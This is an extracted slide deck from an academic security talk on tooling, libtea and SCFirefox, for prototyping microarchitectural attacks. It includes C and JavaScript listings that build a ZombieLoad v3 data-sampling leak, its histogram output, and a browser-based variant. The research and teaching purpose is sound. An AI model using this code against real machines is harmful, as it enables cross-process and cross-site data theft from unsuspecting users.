

# Rapid Prototyping for Microarchitectural Attacks

# USENIX Security Symposium 2022

Catherine Easdon Dynatrace Research & Graz University of Technology Michael Schwarz CISPA Helmholtz Center for Information Security Martin Schwarzl Graz University of Technology Daniel Gruss Graz University of Technology

#### **Motivation**

```
#define pointer_chaser
*((uintptr_t*) ******(uintptr_t******)chase_me[8])
#define speculation_end(label)
asm goto("jmp %10" : : : "memory" : label);
label##_retp: asm goto("lea %10(%%rip), %%rax\nmovq %%rax,(%%rsp)\nret\n" : :
    : "memory", "rax" : label);
label: asm volatile("nop");
//try to get JIT to use shl instead of imul
index = (((index << 12)|0) \& (32*1024*1024-1))|0;
// try to trigger collision in PHT
if(temp[0] < 1024) temp[0] ^= arg;</pre>
if(temp[0] < 1024) temp[0] ^= arg;
// repeat *100(ish)
```



• Microarchitectural attacks are complex to implement



- Microarchitectural attacks are complex to implement
- This slows progress in attack research and is a barrier to entry



- Microarchitectural attacks are complex to implement
- This slows progress in attack research and is a barrier to entry
- It makes teaching microarchitectural security challenging



- Microarchitectural attacks are complex to implement
- This slows progress in attack research and is a barrier to entry
- It makes teaching microarchitectural security challenging
- It increases the risk that attack mitigations are incomplete



• What does the attack development process look like in these three contexts: research, teaching, and mitigation?



- What does the attack development process look like in these three contexts: research, teaching, and mitigation?
- How similar are they?



- What does the attack development process look like in these three contexts: research, teaching, and mitigation?
- How similar are they?
- Could we facilitate the development process for all three?

# Systematization







• Evolutionary prototyping (5/10 interviewees) vs. throwaway prototyping

# **Key Insights**



- Evolutionary prototyping (5/10 interviewees) vs. throwaway prototyping
- $\bullet\,$  Always begin in C/ASM for maximum control

# **Key Insights**



- Evolutionary prototyping (5/10 interviewees) vs. throwaway prototyping
- $\bullet\,$  Always begin in C/ASM for maximum control
- Custom drivers or a custom OS often required for privileged building blocks

# **Key Insights**



- Evolutionary prototyping (5/10 interviewees) vs. throwaway prototyping
- $\bullet$  Always begin in C/ASM for maximum control
- Custom drivers or a custom OS often required for privileged building blocks
- PoCs can be powerful communication tools, but complexity makes them less effective

# Frameworks





• 142 functions for common attack building blocks



- 142 functions for common attack building blocks
- Linux, Windows, Android (x86, AArch64, limited PPC64)



- 142 functions for common attack building blocks
- Linux, Windows, Android (x86, AArch64, limited PPC64)
- Single C header with supporting kernel driver



- 142 functions for common attack building blocks
- Linux, Windows, Android (x86, AArch64, limited PPC64)
- Single C header with supporting kernel driver
- Builds upon the PTEditor and SGX-Step frameworks



• Provides libtea cache and paging functions in JS



- Provides *libtea* cache and paging functions in JS
- Available in the Spidermonkey shell and directly in the browser



- Provides *libtea* cache and paging functions in JS
- Available in the Spidermonkey shell and directly in the browser
- Limitation: overhead from the JSAPI wrapper



#### ZombieLoad



• Sample data from the line fill buffers [Sch+19b]

#### ZombieLoad



- Sample data from the line fill buffers [Sch+19b]
- Triggered by a 'zombie load' that faults and triggers a microcode assist

#### ZombieLoad



- Sample data from the line fill buffers [Sch+19b]
- Triggered by a 'zombie load' that faults and triggers a microcode assist
- Data is transiently returned but not the data we tried to access!

### **CPU** Microarchitecture



[Sch19]

11 USENIX Security '22



For ZombieLoad variant 3, we need four building blocks:



For ZombieLoad variant 3, we need four building blocks:

1. Two mappings for the same physical address



For ZombieLoad variant 3, we need four building blocks:

- 1. Two mappings for the same physical address
- 2. Accessed bit cleared on one mapping to trigger a microcode assist



For ZombieLoad variant 3, we need four building blocks:

- 1. Two mappings for the same physical address
- 2. Accessed bit cleared on one mapping to trigger a microcode assist
- 3. A way to flush the other mapping at the same time



For ZombieLoad variant 3, we need four building blocks:

- 1. Two mappings for the same physical address
- 2. Accessed bit cleared on one mapping to trigger a microcode assist
- 3. A way to flush the other mapping at the same time
- 4. A way to transiently encode and recover the leaked data

#### ZombieLoad v3 with libtea

```
libtea_instance* instance = libtea_init(); libtea_pin_to_core(0,3);
libtea_calibrate_flush_reload(instance);
char* map1 = libtea_open_shared_memory(4096, NULL); memset(map1, "1", 4096);
char* map2 = libtea_remap_address(instance, (size_t) map1, LIBTEA_PAGE, 4096,
LIBTEA_READ_WRITE, true);
libtea_clear_addr_page_bit(instance, map2, 0, LIBTEA_PAGE_BIT_ACCESSED);
while (true) {
libtea_flush(map1);
libtea_speculation_start(spec);
libtea_access(0);
libtea_cache_encode(instance, map2[0]*4096);
```

```
libtea_cache_encode(instance, map2[0]*4096);
libtea_speculation_end(spec);
```

```
libtea_cache_decode_histogram_iteration(instance,true,true,0,"A","Z",hist);
```

}

#### ZombieLoad v3 with libtea

A:		#####
В:	2)	#####
c:	0)	
D:	0)	
E:	ອ່	
F:	1)	##
	1)	##
	1)	##
I:	1)	##
	0)	
	0)	
		########
	0)	
	0)	
	0)	
	1)	##
Q:		*****
	0)	
	1)	##
	0)	
	0)	
	1)	##
	1)	##
	24)	*****
	0)	
z:	0)	

```
libtea_page_entry p = libtea_resolve_addr(instance,
    map1, 0);
libtea_print_page_entry(p.pte);
libtea_page_entry p2 = libtea_resolve_addr(instance,
    map2, 0);
libtea_print_page_entry(p2.pte);
```



```
Leakage! We see that the sibling hyperthread (core 7) is loading 'X'.
```



 Memory deduplication provides shared mappings and clears the accessed bit for us ✓

### Prototyping with libtea



- Memory deduplication provides shared mappings and clears the accessed bit for us  $\checkmark$
- Can we leak without a flush?

### Prototyping with libtea



- $\bullet\,$  Memory deduplication provides shared mappings and clears the accessed bit for us  $\checkmark\,$
- Can we leak without a flush?

#### Discovery

clflush is not needed - a speculative access of map1 induces a cache-line conflict, making ZombieLoad feasible in a sandbox 4

```
SCFirefox.init();
SCFirefox.pin_to_core(3);
SCFirefox.calibrate_flush_reload();
SCFirefox.scfirefox_memset(map1, '0',
    4096):
var map1 = SCFirefox.open_shared_memory
    (4096):
var map2 = (map1, 4096, SCFirefox.
    PROT WRITE):
SCFirefox.clear_addr_page_bit(SCFirefox
    .get_virtual_addr(map2), 0,
    SCFirefox.PAGE_BIT_ACCESSED):
```

• *SCFirefox* lets us quickly port our native code and begin replacing each building block

```
SCFirefox.init();
SCFirefox.pin_to_core(3);
SCFirefox.calibrate_flush_reload();
SCFirefox.scfirefox_memset(map1, '0',
    4096):
var map1 = SCFirefox.open_shared_memory
    (4096):
var map2 = (map1, 4096, SCFirefox.
    PROT WRITE):
SCFirefox.clear_addr_page_bit(SCFirefox
    .get_virtual_addr(map2), 0,
    SCFirefox.PAGE_BIT_ACCESSED):
```

- *SCFirefox* lets us quickly port our native code and begin replacing each building block
- But JSAPI overhead means core attack code must still be in pure JS/WASM

```
SCFirefox.init();
SCFirefox.pin_to_core(3);
SCFirefox.calibrate_flush_reload();
SCFirefox.scfirefox_memset(map1, '0',
    4096):
var map1 = SCFirefox.open_shared_memory
    (4096):
var map2 = (map1, 4096, SCFirefox.
    PROT WRITE):
SCFirefox.clear_addr_page_bit(SCFirefox
    .get_virtual_addr(map2), 0,
    SCFirefox.PAGE_BIT_ACCESSED):
```

- *SCFirefox* lets us quickly port our native code and begin replacing each building block
- But JSAPI overhead means core attack code must still be in pure JS/WASM
  - Spectre v1 gadget

```
SCFirefox.init();
SCFirefox.pin_to_core(3);
SCFirefox.calibrate_flush_reload();
SCFirefox.scfirefox_memset(map1, '0',
    4096):
var map1 = SCFirefox.open_shared_memory
    (4096):
var map2 = (map1, 4096, SCFirefox.
    PROT WRITE):
SCFirefox.clear_addr_page_bit(SCFirefox
    .get_virtual_addr(map2), 0,
    SCFirefox.PAGE_BIT_ACCESSED):
```

- *SCFirefox* lets us quickly port our native code and begin replacing each building block
- But JSAPI overhead means core attack code must still be in pure JS/WASM
  - Spectre v1 gadget
  - WASM timer thread

```
SCFirefox.init();
SCFirefox.pin_to_core(3);
SCFirefox.calibrate_flush_reload();
SCFirefox.scfirefox_memset(map1, '0',
    4096):
var map1 = SCFirefox.open_shared_memory
    (4096):
var map2 = (map1, 4096, SCFirefox.
    PROT WRITE):
SCFirefox.clear_addr_page_bit(SCFirefox
    .get_virtual_addr(map2), 0,
    SCFirefox.PAGE_BIT_ACCESSED):
```

- *SCFirefox* lets us quickly port our native code and begin replacing each building block
- But JSAPI overhead means core attack code must still be in pure JS/WASM
  - Spectre v1 gadget
  - WASM timer thread
  - Evict+Reload covert channel



• Attack scenario: trick victim into opening a link and reading or leaving the tab idle for > 5 minutes



- Attack scenario: trick victim into opening a link and reading or leaving the tab idle for > 5 minutes
- Leak 1.48 B/s with 88.8% accuracy



- Attack scenario: trick victim into opening a link and reading or leaving the tab idle for > 5 minutes
- Leak 1.48 B/s with 88.8% accuracy
- Comparable to RIDL PoC (1B/s) [Sch+19a]



- Attack scenario: trick victim into opening a link and reading or leaving the tab idle for > 5 minutes
- Leak 1.48 B/s with 88.8% accuracy
- Comparable to RIDL PoC (1B/s) [Sch+19a]
- But: need to reliably be on the same core

#### Summary



• First step towards establishing a methodology and tooling for microarchitectural attack development

### Summary



- First step towards establishing a methodology and tooling for microarchitectural attack development
- Facilitate attack development and communication by tackling PoC complexity

### Summary



- First step towards establishing a methodology and tooling for microarchitectural attack development
- Facilitate attack development and communication by tackling PoC complexity
- *libtea* and *SCFirefox* are available on Github at https://github.com/libtea/frameworks contributions welcomed!

# Any questions?

We would like to thank Martin Deixelberger, Moritz Lipp, Claudio Canella, Jo van Bulck, Christopher Fletcher, our expert interviewees, and our user study participants for their contributions to this project.

This work was supported by generous gifts from Red Hat, Arm, Amazon, and Cloudflare. All research findings and opinions are those of the authors and do not necessarily reflect the views of the funding parties or of the authors' affiliations.

SCFirefox is not officially associated with Mozilla or its products.

# References

- [Sch+19a] S. van Schaik, A. Milburn, S. Österlund, P. Frigo, G. Maisuradze, K. Razavi,
   H. Bos, and C. Giuffrida. RIDL: Rogue In-flight Data Load. In: IEEE S&P. 2019.
- [Sch+19b] M. Schwarz, M. Lipp, D. Moghimi, J. Van Bulck, J. Stecklina, T. Prescher, and D. Gruss. ZombieLoad: Cross-Privilege-Boundary Data Sampling. In: CCS. 2019.
- [Sch19] S. van Schaik. Intel Skylake Microarchitectural Diagram. 2019. URL: https://mdsattacks.com/images/skylake-color.svg.